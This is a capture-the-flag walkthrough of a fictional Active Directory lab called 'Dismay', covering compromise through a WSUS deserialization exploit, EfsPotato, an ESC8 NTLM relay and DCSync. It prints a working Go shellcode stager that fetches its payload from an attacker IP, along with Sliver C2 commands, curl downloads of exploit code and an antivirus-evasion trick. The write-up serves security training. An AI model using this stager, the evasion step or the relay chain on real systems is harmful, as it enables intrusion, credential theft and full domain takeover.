# Dismay

{% embed url="<https://www.hacksmarter.org/courses/6b416ada-6326-4e1c-8193-b3becad55ecd>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

You have been assigned a penetration test of a client's internal network. There are three different servers in-scope. Your task is to identify all vulnerabilities and demonstrate impact to the client by elevating your access to Domain Admin. The client has provided you VPN access and Active Directory credentials (below) for the engagement.

> Please note - there are 2 intended paths to compromise this machine. Once you solve it one way, we encourage you to try and solve it a second way.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

The client has provided you with Active Directory credentials and VPN access. `xiao.ge:AmBZATVjnH4qo8H4`

## Summary

<details>

<summary>Summary</summary>

In Dismay, we begin with assumed breach credentials to gain an initial foothold via SMB and RDP on the Nexus WSUS server, quickly identifying a Windows enterprise environment with exposed AD, WSUS, and certificate services across multiple domain controllers. Early access reveals sensitive artifacts in the Recycle Bin, including an encrypted archive and a penetration testing report, which we decrypt by combining reused passwords and wordlist generation to recover credentials, decrypting the archive to gain access to a penetration test report revealing credentials for user `guy.rookie`.

In parallel, exploitation of a vulnerable WSUS deployment `CVE-2025-59287` allows SYSTEM-level compromise on Nexus via unsafe deserialization, which is further leveraged to deploy a Sliver-based stager chain using a Potato exploit and achieve full control of the host, also leading to the penetration test report on the Administrators Desktop.

With expanded access as `guy.rookie`, we enumerate the domain and uncover multiple privilege escalation paths, including misconfigured AD permissions. From there, BloodHound analysis reveals a chained delegation path through password resets and group membership manipulation, enabling progression from `jena.yamazaki` to `mike.silver`, granting access to the Tools share on DC1. A DLL hijack weakness in a broken enterprise binary is then abused to execute a malicious payload, providing execution as `wang.kali` on DC1.

Finally, privilege escalation continues through AD group delegation, RDP access, and `ESC8` exploitation against AD CS on DC2 using NTLM relay and PetitPotam coercion. By obtaining a valid machine certificate and performing DCSync, we extract domain secrets and escalate to Domain Admin, culminating in full compromise of DC2 as Administrator and retrieval of the final flag.

</details>

<details>

<summary>Changelog</summary>

{% hint style="warning" %}

## Beyond Root - Attack Path prior Changes&#x20;

Before the change, the web enrollment endpoint was not accessible externally, but it was enabled and accessible locally on DC2. But having the web enrollment enabled but not accessible lacks realism. This required the following attack path. The attack path still available!

The port forwarding is no longer necessary. In my opinion the steps involved are still interesting and I recommend to give it a try.&#x20;

The old path is covered in Beyond Root - Attack Path prior Changes section.
{% endhint %}

</details>

## Recon

### Nexus

We use `rustscan -b 500 -a 10.0.29.100 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" %}

```
rustscan -b 500 -a 10.0.29.100 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/raUNKTR6VbPJdLwuhRjT" alt=""><figcaption></figcaption></figure>

The target `10.1.83.105` is a Windows-based host. It hosts a Microsoft IIS 10.0 web server on port `80`, as well as additional web services on ports `8530` (IIS) and `8531`. The host has SMB services exposed via ports 139 and 445 with message signing enabled but not required. Remote management and access are available through RDP `3389`. Furthermore, the system exposes several MSRPC endpoints on ports 135, 49667, and 49668.

<figure><img src="/files/PIImiUYKM2Lbxlp08DhH" alt=""><figcaption></figcaption></figure>

Ports `8530` and `8531` are the defaults for Windows Server Update Services (WSUS), used by client machines to check for, download, and report the status of software updates from the central update server.

<figure><img src="/files/jd3tq0S88mWa2KQ5S1Wf" alt=""><figcaption></figcaption></figure>

#### SMB

We are now attempting to authenticate via SMB using `xiao.ge` and list the available shares. &#x20;

The output confirms that your target is a WSUS server with several associated shares accessible for reading.

The most critical threat in 2026 is `CVE-2025-59287,` a critical unauthenticated Remote Code Execution (RCE) vulnerability caused by unsafe deserialization in the WSUS authorization cookie. This might be a lead forfurhter escalation.

{% code overflow="wrap" %}

```
nxc smb 10.0.29.100 -u xiao.ge -p 'AmBZATVjnH4qo8H4' --shares
```

{% endcode %}

<figure><img src="/files/1KjmKhDgSKMPnCFkCsaO" alt=""><figcaption></figcaption></figure>

We connect to the WsusContent share using impackets smbclient.py but do not find anything useful.

{% code overflow="wrap" %}

```
smbclient.py xiao.ge:'AmBZATVjnH4qo8H4'@10.0.29.100
```

{% endcode %}

<figure><img src="/files/NXuvbVjUW0xxFrRCFQzL" alt=""><figcaption></figcaption></figure>

#### RDP

Next, we try to connect to the Nexus host via RDP using the provided credentials, and we succeed. At first glance, we see that there is still something in the Recycle Bin.

<figure><img src="/files/ZLutTagNzpUxMefcW3mQ" alt=""><figcaption></figcaption></figure>

There is a confidential 7zip ZIP file in the Recycle Bin. As it turns out, it is encrypted. The Recycle Bin furthermore contains an invoice, meeting notes, and an audit log. We'll take a closer look at the contents later. But this could present an opportunity to elevate our privileges or move laterally.

<figure><img src="/files/qXsaHc3YVsm4GOeNBgxA" alt=""><figcaption></figcaption></figure>

In `C:\Tools`, we find WSUS-related scripts. We'll take a closer look at these in the next steps as a way to potentially elevate our privileges. As mentioned earlier, we might be able to exploit `CVE-2025-59287` and these scripts could help us with that, or provide us with insights.

<figure><img src="/files/bxctZ72zDO0upZUo1g0i" alt=""><figcaption></figcaption></figure>

### DC1

Before we continue with our first findings on the Nexus machine, we continue with an initial enumeration of DC1 and DC2.

We use `rustscan -b 500 -a 10.0.31.114 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

The target `DC1.dismay.hsm`  is a Windows-based host acting as a Domain Controller for the `dismay.hsm` domain.

It runs Active Directory services with LDAP exposed on ports `389/636` and Global Catalog on `3268/3269`, alongside Kerberos on port `88` and DNS on port `53`. SMB services `139/445` are open with message signing enabled. The host also exposes MSRPC endpoints `135, 593, 49664,` etc. and the Active Directory Web Services on port `9389`. Remote management is available via RDP on port `3389` and WinRM on port `5985`.

{% code overflow="wrap" %}

```
rustscan -b 500 -a 10.0.31.114 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/eYTfc6KPmOlL7KSj5Uh5" alt=""><figcaption></figcaption></figure>

#### SMB

We are trying to authenticate via SMB using the provided credentials through NetExec, but we are unable to do so.

{% code overflow="wrap" %}

```
nxc smb 10.0.31.114 -u xiao.ge -p 'AmBZATVjnH4qo8H4'
```

{% endcode %}

<figure><img src="/files/hT9WQuHoa4l6zgEA7MEV" alt=""><figcaption></figcaption></figure>

Even though authentication is missing, we use NetExec to generate a host file entry for the DC.

{% code overflow="wrap" %}

```
nxc smb 10.0.31.114 -u xiao.ge -p 'AmBZATVjnH4qo8H4' --generate-hosts-file dc1-host
```

{% endcode %}

<figure><img src="/files/gQshtsQm6qjvI5IDPdkU" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file if we haven't passed it directly to NetExec:

{% code overflow="wrap" %}

```
10.0.31.114     DC1.dismay.hsm dismay.hsm DC1
```

{% endcode %}

### DC2

We use `rustscan -b 500 -a 10.0.18.82 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

The target `DC2.dismay.hsm` is a Windows-based host serving as a secondary Domain Controller and the Enterprise Certificate Authority for the `dismay.hsm` domain.

It runs Active Directory services with LDAP exposed on ports `389/636` and Global Catalog on `3268/3269`, alongside Kerberos on port `88` and DNS on port `53`. SMB services `139/445` are open with message signing enabled. Notably, the host exposes web services on ports `80` and `443`, and its SSL certificate identifies it as the issuer `commonName=dismay-DC2-CA`. Multiple MSRPC endpoints are open `135, 593, 49664`, etc., and remote access is provided via RDP `3389` and WinRM `5985`.

{% code overflow="wrap" %}

```
rustscan -b 500 -a 10.0.18.82 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/GdKTcvibxJMiOvqELHq9" alt=""><figcaption></figcaption></figure>

#### SMB

We are trying to authenticate via SMB using the provided credentials through NetExec, but we are unable to do so.

{% code overflow="wrap" %}

```
nxc smb 10.0.18.82 -u xiao.ge -p 'AmBZATVjnH4qo8H4'
```

{% endcode %}

<figure><img src="/files/2Ilx1VYReJC8qC703SXH" alt=""><figcaption></figcaption></figure>

Even though authentication is missing, we use NetExec to generate a host file entry for the DC.

{% code overflow="wrap" %}

```
nxc smb 10.0.18.82 -u xiao.ge -p 'AmBZATVjnH4qo8H4' --generate-hosts-file dc2-host
```

{% endcode %}

<figure><img src="/files/zlWEhtdFmN47QetQw06C" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file if we haven't passed it directly to NetExec:

{% code overflow="wrap" %}

```
10.0.18.82     DC2.dismay.hsm dismay.hsm DC2
```

{% endcode %}

## Access as guy.rookie

We'll continue with the results of our enumeration on the Nexus host and see that we have two paths to escalte our privileges. First, we'll look at the items in the Recycle Bin. Alternatively, we can also expand our privileges using the exposed WSUS service.

### via sensitive file disclosure

As we recall, we found the four files in the Recycle Bin. We will now transfer them to our system via a shared folder and examine them. The 7zip file is encrypted.&#x20;

<figure><img src="/files/OoHKrVjEX0O1li8MEyaI" alt=""><figcaption></figcaption></figure>

The invoice contains two passwords.

{% code overflow="wrap" expandable="true" %}

```
Invoice_Draft_2026_Q2.pdf
```

{% endcode %}

<figure><img src="/files/IWDFRBK7p6YYQ5EFkmqD" alt=""><figcaption></figcaption></figure>

We will generate a list of words containing the keywords and passwords from the invoice, as well as the password we know for the user `xiao.ge`.

Next, we generate the a hash from the file using 7z2john.pl...

{% code overflow="wrap" expandable="true" %}

```
7z2john.pl Confidential.7z > Confidential.7z.hash
```

{% endcode %}

... and attempt to crack it. We see that passwords had been reused; we were able to crack the hash and open the ZIP file.

{% code overflow="wrap" expandable="true" %}

```
john --wordlist=./wordlist.txt Confidential.7z.hash
```

{% endcode %}

<figure><img src="/files/O7KHfXyDztPrZjBnhuQh" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
7z x Confidential.7z -p REDACTED
```

{% endcode %}

<figure><img src="/files/fnWGylFv62vMjEDg7tGD" alt=""><figcaption></figcaption></figure>

The archive contains Confidential.pdf, a penetration test report. This file contains the credentials for the user `guy.rookie`. We make a note of them.

{% code overflow="wrap" expandable="true" %}

```
Confidential.pdf
```

{% endcode %}

<figure><img src="/files/72ECwjtQsvLmX8cIdGFm" alt=""><figcaption></figcaption></figure>

We test the credentials of `guy.rookie` that we just found and attempting to authenticate ourselves against DC1 via SMB using Netexec. We succeed in doing so and, at the same time, discover a `Tools` share to which we currently have neither read nor write permissions. Next, we can try to enumerate the domain using the credentials we've obtained.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC1.dismay.hsm -u guy.rookie -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/rkfkQQzNRhIG94sk8pbV" alt=""><figcaption></figcaption></figure>

### via WSUS exploit

{% hint style="info" %}
The following path is an alternative approach that exploits a vulnerability in WSUS to elevate privileges on the Nexus machine to get access to the penetration test report. It is optional and can be skipped, but is still worth exploring.

Additionally, this path demonstrates how to create a stager, which will be reused later in the scenario.
{% endhint %}

#### Shell as NT AUTHORITY\NETWORK SERVICE on Nexus

During our initial assessment of the Nexus machine, we determined that the WSUS server was running on it. After a brief investigation, we came across `CVE-2025-59287`.

This is the most recent and critical threat in 2026 with a a critical unauthenticated Remote Code Execution vulnerability caused by unsafe deserialization in the WSUS authorization cookie. This might be a lead forfurhter escalation.

{% embed url="<https://www.cvedetails.com/cve/CVE-2025-59287/>" %}

Offsec provides an in-depth analysis of the vulnerability, including a link to a proof-of-concept. I recommend reading this blog

{% embed url="<https://www.offsec.com/blog/recent-vulnerabilities-in-wsus-service/>" %}

We will try to use the exploit showcased in the blog. All we need is the poc and ysoserial.

{% embed url="<https://github.com/tecxx/CVE-2025-59287-WSUS/tree/main>" %}

{% embed url="<https://github.com/pwntester/ysoserial.net/>" %}

We just need to make slight adjustments in the `wsus-rce.ps1` by adapting the host, port and target URL. We chose the target URL to be 127.0.0.1, since we will run it on the target machine.

<figure><img src="/files/7CCQWpxDTovnOC86t2DU" alt=""><figcaption></figcaption></figure>

We provide the PoC via a web server, alternatively we could also mount a share.

{% code overflow="wrap" expandable="true" %}

```
python -m http-server 80
```

{% endcode %}

<figure><img src="/files/BW8v3nAlqmLPLU9OMpoE" alt=""><figcaption></figcaption></figure>

We download both on the system and extract the ysoserial zip file. PoC and the ysoserial folder need to be in the same location.

```
curl http://10.200.38.246/CVE-2025-59287-WSUS/wsus-rce.ps1 -o wsus-rce.ps1
```

```
curl http://10.200.38.246/ysoserial.zip -o ysoserial.zip
```

<figure><img src="/files/zwy7qRy6rqwXuOL4OW5i" alt=""><figcaption></figcaption></figure>

Next, we run the poc,...

```
./wsus-rce.ps1
```

<figure><img src="/files/d0l08roIRS78bik8SP6O" alt=""><figcaption></figcaption></figure>

... and set up a listener. The reverse-shell payload will be triggered when an administrator opens the WSUS management console

{% code overflow="wrap" %}

```
nc -lnvp 4445
```

{% endcode %}

<figure><img src="/files/ZIkPoCW2dSPO1QhooMWd" alt=""><figcaption></figcaption></figure>

After 10 minutes we receive a connection back. We are NT AUTHORITY\NETWORK.

<figure><img src="/files/Wp4f9YVwfajhYmxhaMCK" alt=""><figcaption></figcaption></figure>

The process can be speed up by the scripts in `C:\Test`.

The script `Apply-WsusSecurityPolicy.ps1` is used by an Administrator to grant the user `xiao.ge` permission to access and execute the scheduled task named WSUS. It reads the task's current SDDL permissions, adds an ACE giving `GRGX` (Generic Read + Execute) rights to `xiao.ge`, and applies the updated permissions to both the task and the root task folder.

**Impact:** This allows a low-privileged user to manually view and run the high-privilege WSUS scheduled task without needing administrator credentials, password prompts, or UAC elevation.

{% code title="Apply-WsusSecurityPolicy.ps1" overflow="wrap" lineNumbers="true" expandable="true" %}

```powershell
$TaskName = "WSUS"
$UserAccount = "xiao.ge"

$scheduler = New-Object -ComObject Schedule.Service
$scheduler.Connect()
$rootFolder = $scheduler.GetFolder("\")
$task = $rootFolder.GetTask($TaskName)

$sddl = $task.GetSecurityDescriptor(0xF)

$sid = (New-Object System.Security.Principal.NTAccount($UserAccount)).Translate([System.Security.Principal.SecurityIdentifier]).Value
$newSddl = $sddl + "(A;;GRGX;;;$sid)"

$task.SetSecurityDescriptor($newSddl, 0)
$rootFolder.SetSecurityDescriptor($newSddl, 0)

Write-Host "[+] Complete! xiao.ge can now see and run the task." -ForegroundColor Green
```

{% endcode %}

This script `Invoke-WSUSMaintenance.ps1` acts as the actual WSUS trigger by first sending a request to the local WSUS IIS endpoint to wake up the `WsusPool` application pool, ensuring the service is active. It then connects to the WSUS server using `AdminProxy`, searches for a specific security update (`KB5031354`), and runs `PerformCleanup()` with a cleanup scope that declines expired updates.

**Impact:** Triggering these WSUS operations can force service-side processing under elevated privileges, making it useful for abusing a privileged scheduled task or backend WSUS execution path from a lower-privileged shell.

{% code title="Invoke-WSUSMaintenance.ps1 " overflow="wrap" lineNumbers="true" expandable="true" %}

```powershell
[void][reflection.assembly]::LoadWithPartialName("Microsoft.UpdateServices.Administration")

try {
    Write-Host "[*] Waking up WSUS Web Service (IIS)..." -ForegroundColor Yellow
    Invoke-WebRequest -Uri "http://localhost:8530/SimpleAuthWebService/SimpleAuth.asmx" -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null

    $wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer()
    
    $updates = $wsus.SearchUpdates("Security Update for Windows (KB5031354)")
    
    $cleanupScope = New-Object Microsoft.UpdateServices.Administration.CleanupScope
    $cleanupScope.DeclineExpiredUpdates = $true
    $manager = $wsus.GetCleanupManager()
    
    $manager.PerformCleanup($cleanupScope) | Out-Null

    Write-Host "[+] Triggered Service-side processing successfully!" -ForegroundColor Green
} catch {
    Write-Host "[-] ERROR: $($_.Exception.Message)" -ForegroundColor Red
} finally {
    
    $manager = $null
    $wsus = $null
    $updates = $null
    $cleanupScope = $null
    
    [System.GC]::Collect()
    [System.GC]::WaitForPendingFinalizers()
    Write-Host "[*] Memory reclamation triggered." -ForegroundColor Gray
}
```

{% endcode %}

So technically if we start the task we should immediatly get a callback.

#### Shell as NT AUTHORITY/SYSTEM on Nexus

We see that we, as this user, have the `SeImpersonatePivilige` permission active.

```
whoami /priv
```

<figure><img src="/files/fVCGugxogwECGm6d17Eb" alt=""><figcaption></figcaption></figure>

Since the `SeImpersonatePrivilege` is `enabled` we can make use of one of the infamous potato exploits. One of my favorite Potato exploits is the `EfsPotato` exploit. We can compile this on the machine if the `C#` compiler is available, and it should also go undetected.

{% embed url="<https://github.com/zcgonvh/EfsPotato>" %}

We check for a compiler at `C:\Windows\Microsoft.Net\Framework\` and see a `v4.0` version is persent. Nice.

```
dir C:\Windows\Microsoft.Net\Framework\
```

<figure><img src="/files/zn49OR8KGI31W0VBkUYs" alt=""><figcaption></figcaption></figure>

The `csc.exe` to compile the exploit is present.

Next, we download the source file from our attacker machine, compile with the compiler found at `C:\Windows\Microsoft.Net\Framework\v4...` and execute it with the `whoami` command.

We download the file:

```
curl http://10.200.38.246/EfsPotato/EfsPotato.cs -o EfsPotato.cs
```

And compile the potato exploit:

```
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
```

<figure><img src="/files/mVgw61x8itR6Xbpo4uNl" alt=""><figcaption></figcaption></figure>

Next we want to execute with elevated privileges to get a reverse shell. We will continue this challenge using Sliver-C2. For this we will prepare a stager we want to execute and setup Sliver.

**Prepare a custom stager**

First we need to prepare the stager.

The stager fetches raw shellcode from a chosen URL and loads it directly into memory as bytes. The payload is not embedded in the binary, allowing it to be changed without recompiling.

It calls `VirtualAlloc` to reserve and commit memory with execute, read, and write permissions, then copies the downloaded shellcode into that memory using unsafe pointer operations.

The execution is transferred to the allocated memory address using `syscall.Syscall`, handing control to the shellcode.

{% code title="stager.go" overflow="wrap" lineNumbers="true" expandable="true" %}

```go
	// +build windows
	
	package main
	
	import (
		"io"
		"net/http"
		"syscall"
		"unsafe"
	)
	
	var (
		kernel32            = syscall.NewLazyDLL("kernel32.dll")
		procVirtualAlloc    = kernel32.NewProc("VirtualAlloc")
	)
	
	const (
		MEM_COMMIT             = 0x1000
		MEM_RESERVE            = 0x2000
		PAGE_EXECUTE_READWRITE = 0x40
	)
	
	func downloadShellcode(url string) ([]byte, error) {
		resp, err := http.Get(url)
		if err != nil {
			return nil, err
		}
		defer resp.Body.Close()
	
		return io.ReadAll(resp.Body)
	}
	
	func executeShellcode(shellcode []byte) {
		addr, _, err := procVirtualAlloc.Call(
			0,
			uintptr(len(shellcode)),
			MEM_COMMIT|MEM_RESERVE,
			PAGE_EXECUTE_READWRITE,
		)
		if addr == 0 {
			panic(err)
		}
	
		// Copy shellcode into allocated memory
		for i := 0; i < len(shellcode); i++ {
			*(*byte)(unsafe.Pointer(addr + uintptr(i))) = shellcode[i]
		}
	
		// Execute shellcode
		syscall.Syscall(addr, 0, 0, 0, 0)
	}
	
	func main() {
		url := "http://10.200.38.246/shellc.bin"
	
		shellcode, err := downloadShellcode(url)
		if err != nil {
			panic(err)
		}
	
		executeShellcode(shellcode)
	}
```

{% endcode %}

We compile the stager as follows on our exegol instance:

{% hint style="info" %}
The addition of `-ldflags="-H windowsgui"` ensures that we compile it as an application and not a console app, so it wont spawn a terminal.
{% endhint %}

{% hint style="info" %}
Since the stager got caught due to sample submission, but want to reuse it, we use a simple trick and use the  `-s -w` ldflags for compilation.\
Using `-s -w` strips debug symbols and DWARF metadata from the Go binary, changing its hash and reducing recognizable signatures, which can help avoid detection because antivirus engines that previously flagged the original sample submission may no longer match the modified compiled file exactly. We might see this neat trick later again.
{% endhint %}

{% code overflow="wrap" %}

```
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-H windowsgui -s -w" -o stager.exe stager.go
```

{% endcode %}

<figure><img src="/files/DO1SFFzRywtPmORXPcvv" alt=""><figcaption></figcaption></figure>

**Generate shell code**

{% hint style="info" %}
During generation without the `-G` tag, which disables the encoder, no shellcode could be successfully generated. The resulting shellcode was always empty. This may be related to the underlying architecture on which I am operating, namely ARM:

<https://github.com/BishopFox/sliver/issues/1114>
{% endhint %}

Next, we need to generate the shell code insed our sliver instance. We do this as follows:

{% code overflow="wrap" %}

```
sliver-server
```

{% endcode %}

{% code overflow="wrap" %}

```
generate --mtls 10.200.38.246:443 --os windows --arch amd64 --format shellcode -G --save /workspace/hacksmarter/dismay/shellc.bin
```

{% endcode %}

<figure><img src="/files/RKUudbjuactPaYynZ2Nx" alt=""><figcaption></figcaption></figure>

We run a web server from which the stager and the shellcode can be fetched.

{% code overflow="wrap" %}

```
sudo python -m http.server 80
```

{% endcode %}

**Setup listener**

We set up the listener in sliver as follows:

{% code overflow="wrap" %}

```
mtls --lhost 10.200.38.246 --lport 443
```

{% endcode %}

<figure><img src="/files/Xtm43fTclD0ixKGqVXa2" alt=""><figcaption></figcaption></figure>

Next, we download and run our stager with the EfsPotato exploit

{% code overflow="wrap" %}

```
curl http://10.200.38.246/stager.exe -o stager.exe
```

{% endcode %}

{% code overflow="wrap" %}

```
.\EfsPotato.exe "cmd.exe /c C:\Users\Public\Stager.exe"
```

{% endcode %}

<figure><img src="/files/2I15yFmTmt9SN7ennIG3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DNqOs4oT4u1Va8CpYpyY" alt=""><figcaption></figcaption></figure>

We get a connection back to our listener in Sliver.

To interacte with the session received we issue `sessions -i <id>`.

We are `NT AUTHORITY SYSTEM`.

{% code overflow="wrap" %}

```
ls C:/Users/Administrator/Desktop
```

{% endcode %}

At `C:/Users/Administrator/Desktop/Confidential.pdf` we find a penetration test report...

{% code overflow="wrap" %}

```
download C:/Users/Administrator/Desktop/Confidential.pdf
```

{% endcode %}

<figure><img src="/files/tU3EXy4H3iAPWub3qXaX" alt=""><figcaption></figcaption></figure>

... which contains the credentials of `guy.rookie`.

<figure><img src="/files/45EGEf4k5Ixrx9O0ELLp" alt=""><figcaption></figcaption></figure>

We test the credentials of `guy.rookie` that we just found and attempting to authenticate ourselves against DC1 via SMB using Netexec. We succeed in doing so and, at the same time, discover a `Tools` share to which we currently have neither read nor write permissions. Next, we can try to enumerate the domain using the credentials we've obtained.

{% code overflow="wrap" %}

```
nxc smb DC1.dismay.hsm -u guy.rookie -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/bn4q80oqIXB3Gfqjb879" alt=""><figcaption></figcaption></figure>

## Bloodhound Enumeration

With the credentials, we can now also enumerate the AD using BloodHound.

{% code overflow="wrap" %}

```
bloodhound-ce.py --zip -c All -d dismay.hsm -u guy.rookie -p 'REDACTED' -dc DC1.dismay.hsm -ns 10.1.22.164
```

{% endcode %}

<figure><img src="/files/CVg6kfa2uNSzt4ypNO9R" alt=""><figcaption></figcaption></figure>

We first look at our compromised user and initially, we are can change the password of `jena.yamazaki` via `ForceChangePassword`.

<figure><img src="/files/BzvPjSpfqyo0YQvVhl2R" alt=""><figcaption></figcaption></figure>

From there we have `GenericAll` from yena.`yamazaki` to `mike.silver`. Allowing us to change the password of that user. This user is allowed to add members to the  `shares_operators` group. This might enable us to get access to the `Tools` share we identified earlier.

<figure><img src="/files/Ir41L2qo9yAvgmqrCBU1" alt=""><figcaption></figcaption></figure>

Besides the path identified we check for Domain Admins and only find the Administrator user as one of those.

<figure><img src="/files/kEtHgm343rrPBHeisaxc" alt=""><figcaption></figcaption></figure>

## AD CS Enumeration

We are also trying to identify certificate misconfigurations using Certipy and have a possible `ESC8` misconfiguration infront of us..

{% code overflow="wrap" expandable="true" %}

```
certipy find -u guy.rookie@DC1.dismay.hsm -p 'REDACTED' -dc-ip 10.1.236.127 -scheme ldap -vulnerable
```

{% endcode %}

<figure><img src="/files/TWhcv3JSonE2zNIcMnud" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5h0A6XoCzjUKPj3TQ96V" alt=""><figcaption></figcaption></figure>

<pre data-overflow="wrap" data-expandable="true"><code><strong>"ESC8": "Web Enrollment is enabled and Request Disposition is set to Issue"
</strong></code></pre>

Next, we check for certificates to use for enrollment.

{% code overflow="wrap" expandable="true" %}

```
certipy find -u guy.rookie@DC1.dismay.hsm -p 'REDACTED' -dc-ip 10.1.236.127 -scheme ldap 
```

{% endcode %}

<figure><img src="/files/RmdrdjBoJ2gqPsTMvrAl" alt=""><figcaption></figcaption></figure>

The `User` template allows any authenticated domain user to enroll for a client authentication certificatee, which can be abused during `ESC8` to obtain a valid certificate for authentication if NTLM relay to Web Enrollment is successful.

{% code overflow="wrap" expandable="true" %}

```
"32": {
      "Template Name": "User",
      "Display Name": "User",
      "Certificate Authorities": [
        "dismay-DC2-CA"
      ],
      "Enabled": true,
      "Client Authentication": true,
      "Enrollment Agent": false,
      "Any Purpose": false,
      "Enrollee Supplies Subject": false,
      "Certificate Name Flag": [
        "SubjectRequireDirectoryPath",
        "SubjectRequireEmail",
        "SubjectAltRequireEmail",
        "SubjectAltRequireUpn"
      ],
      "Enrollment Flag": [
        "AutoEnrollment",
        "PublishToDs",
        "IncludeSymmetricAlgorithms"
      ],
      "Private Key Flag": [
        "ExportableKey"
      ],
      "Extended Key Usage": [
        "Encrypting File System",
        "Secure Email",
        "Client Authentication"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Validity Period": "1 year",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "DISMAY.HSM\\DC1",
            "DISMAY.HSM\\Domain Users",
            "DISMAY.HSM\\Domain Admins",
            "DISMAY.HSM\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "DISMAY.HSM\\Enterprise Admins",
          "Write Owner Principals": [
            "DISMAY.HSM\\Domain Admins",
            "DISMAY.HSM\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "DISMAY.HSM\\Domain Admins",
            "DISMAY.HSM\\Enterprise Admins"
          ],
          "Write Property Principals": [
            "DISMAY.HSM\\Domain Admins",
            "DISMAY.HSM\\Enterprise Admins"
          ]
        }
```

{% endcode %}

## Shell as Administrator on DC2

So the steps for `ESC8` are as follows:

* Force or capture NTLM auth from a machine/user
* Relay it to:

  ```
  http://DC2.dismay.hsm/certsrv/
  ```
* Request certificate on behalf of that relayed identity
* Use cert for authentication (LDAP/Kerberos)

A cheat sheet can be found here:

{% embed url="<https://seriotonctf.github.io/ADCS-Attacks-with-Certipy/index.html>" %}

> ```
> ntlmrelayx.py -t http://domain/certsrv/certfnsh.asp -smb2support --adcs --template template --no-http-server --no-wcf-server --no-raw-server
> ```
>
> ```
> coercer coerce -u username -p password -l ws_ip -t dc_ip --always-continue
> ```
>
> ```
> certipy auth -pfx administrator.pfx
> ```

A detailed explanation for ESC8 can be found here:

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc8-ntlm-relay-to-ad-cs-web-enrollment>" %}

First, we start `ntlmrelayx.py` to relay captured NTLM authentication to the AD CS Web Enrollment endpoint at `certfnsh.asp`, requesting a certificate using the `User` template. If successful, it issues a certificate for the relayed identity, enabling authentication to the Active Directory services.

{% code overflow="wrap" %}

```
ntlmrelayx.py -t http://DC2/certsrv/certfnsh.asp --adcs --template User -smb2support
```

{% endcode %}

<figure><img src="/files/Tqn0CU2TYl4r0x7pQ2OK" alt=""><figcaption></figcaption></figure>

Next, we use PetitPotam to coerce DC1 into authenticating to the attacker-controlled host `10.200.38.246` by abusing MS-EFSRPC calls. The provided credentials of `guy.rookie` are used to trigger the authentication attempt, which can then be captured and relayed. We use our machine IP `10.200.38.246` since we run the relay.

{% code overflow="wrap" %}

```
petitpotam.py -u guy.rookie -p 'REDACTED' -d dismay.hsm 10.200.38.246 DC1
```

{% endcode %}

<figure><img src="/files/6GA4Si9Pbcp21NiBZt8G" alt=""><figcaption></figcaption></figure>

After a while, we receive a certificate file.

<figure><img src="/files/TU9ACcN8jcqXl4l7MDEF" alt=""><figcaption></figcaption></figure>

Next we authenticate via certipy using the `DC1.pfx` certificate obtained giving us a ccache file and the NTLM hash of the `DC1$` machine.

<figure><img src="/files/YG69vi67dUHChHzdmFFx" alt=""><figcaption></figcaption></figure>

Since we now have access as the DC1 we are able to perform a DCSync.

<figure><img src="/files/ZBZCs92fHL1yzoIgr1AK" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync#dcsync>" %}

DCSync is a technique that uses Windows Domain Controller's API to simulate the replication process from a remote domain controller allowing to request password data from a domain controller as if they were another DC. We can do it either using the gathered hash or the ccache file via impackets secretsdump.py.

We retrieve the NTLM hash of the Administrator account.

{% code overflow="wrap" %}

```
secretsdump.py dc1$@dismay.hsm -hashes :REDACTED
```

{% endcode %}

{% code overflow="wrap" %}

```
export KRB5CCNAME=dc1.ccache
```

{% endcode %}

{% code overflow="wrap" %}

```
secretsdump.py -k -no-pass 'dc1$@DC1.dismay.hsm'
```

{% endcode %}

